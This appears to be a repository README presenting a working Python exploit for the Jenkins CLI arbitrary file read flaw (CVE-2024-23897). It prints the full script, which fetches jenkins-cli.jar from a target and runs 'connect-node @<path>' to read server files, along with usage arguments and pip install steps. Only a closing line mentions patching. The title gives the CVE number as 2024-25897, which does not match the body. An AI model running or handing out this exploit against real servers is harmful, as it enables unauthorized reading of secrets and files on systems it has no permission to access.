i-100-user/cve-2024-25897exploit que vulnera Jenkins hecho en Python
parameters ip, port, path
exploit output
Help panel
Here is the explanation of the code in Markdown:
This script is designed to exploit a specific vulnerability in Jenkins (CVE-2024-23897). It allows downloading a JAR file from a Jenkins server and executing a payload to connect a Jenkins node. Below is an explanation of each part of the code:
import argparse
import requests
import os
import subprocess
import sys
argparse: To handle command line arguments.requests: To make HTTP requests.os: To interact with the operating system.subprocess: To execute system commands.sys: To interact with the Python interpreter.bannerdef banner():
"""
Imprime un banner decorativo para la herramienta.
"""
text = """
______ _______ ____ ___ ____ _ _ ____ _____ ___ ___ _____ _ _ _
/ ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \|___ / ( _ )/ _ \___ | | | ___ _ __ | | _(_)_ __ ___
| | \ \ / /| _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / / _ | |/ _ \ '_ \| |/ / | '_ \/ __|
| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/ ___) | (_) \__, |/ / | |_| | __/ | | | <| | | | \__|
\____| \_/ |_____| |_____|\___/_____| |_| |_____|____/ \___/ /_//_/ \___/ \___|_| |_|_|\_\_|_| |_|___/
"""
print(text)
This function prints a decorative banner at the start of the script.
descargar_jardef descargar_jar(ip, puerto):
"""
Descarga el archivo jenkins-cli.jar desde el servidor Jenkins especificado.
Args:
ip (str): Dirección IP del servidor Jenkins.
puerto (str): Puerto del servidor Jenkins.
Returns:
bool: True si la descarga fue exitosa, False en caso contrario.
"""
url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
try:
response = requests.get(url)
if response.status_code == 200:
with open('jenkins-cli.jar', 'wb') as archivo_jar:
archivo_jar.write(response.content)
return True
else:
print(f"\n[-] No se pudo descargar el archivo. Código de estado: {response.status_code}")
return False
except requests.RequestException as errorhttp:
print(f"\n[-] Error al realizar la solicitud: {errorhttp}")
return False
This function downloads the jenkins-cli.jar file from the Jenkins server specified by the IP address and port. If the download is successful, it saves the file on the system and returns True; otherwise, it returns False.
attack_payloaddef attack_payload(ip, puerto, ruta):
"""
Ejecuta el payload para conectar un nodo Jenkins.
Args:
ip (str): Dirección IP del servidor Jenkins.
puerto (str): Puerto del servidor Jenkins.
ruta (str): Ruta para leer el archivo.
"""
archivo_jar = "jenkins-cli.jar"
payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
try:
subprocess.run(payload, shell=True, check=True)
os.remove(archivo_jar)
except subprocess.CalledProcessError as error_payload:
print(f"\n[-] Error al intentar conectar el nodo: {error_payload}\n")
This function executes a command to connect a Jenkins node using the jenkins-cli.jar file. After executing the command, it removes the JAR file. If there is an execution error, it displays an error message.
maindef main():
"""
Función principal que analiza los argumentos y ejecuta las funciones correspondientes.
"""
parser = argparse.ArgumentParser(description="\n[+] Exploit para explotar el CVE-2024-23897\n")
parser.add_argument("ip", type=str, help="\n[+] Dirección IP del servidor Jenkins\n")
parser.add_argument("puerto", type=str, help="\n[+] Puerto del servidor de Jenkins\n")
parser.add_argument("ruta", type=str, help="\n[+] Ruta para leer el archivo\n")
args = parser.parse_args()
ip = args.ip
puerto = args.puerto
ruta = args.ruta
banner()
if descargar_jar(ip, puerto):
attack_payload(ip, puerto, ruta)
else:
sys.exit(1)
The main function of the script:
ip, port, path).banner function to print the banner.descargar_jar function to download the JAR file.attack_payload function to execute the payload; otherwise, exits the script with exit code 1.if __name__ == '__main__':
main()
This block ensures that the main function runs only if the script is executed directly, not if it is imported as a module.
This script is a tool to exploit a vulnerability in Jenkins. It downloads a JAR file from a Jenkins server and uses that file to execute a payload that connects a Jenkins node. The required arguments (ip, port, path) are provided through the command line.
Here is a list of the required libraries along with the pip install commands for each:
argparse: This library is included in the Python standard library, so you do not need to install it.
requests: To make HTTP requests.
pip install requests
os: This library is included in the Python standard library, so you do not need to install it.
subprocess: This library is included in the Python standard library, so you do not need to install it.
sys: This library is included in the Python standard library, so you do not need to install it.
pip install requests
@/path/to/file.@/path/to/file and replaces this argument with the content of the specified file.Updating and properly configuring Jenkins is crucial to protect the system against this vulnerability.
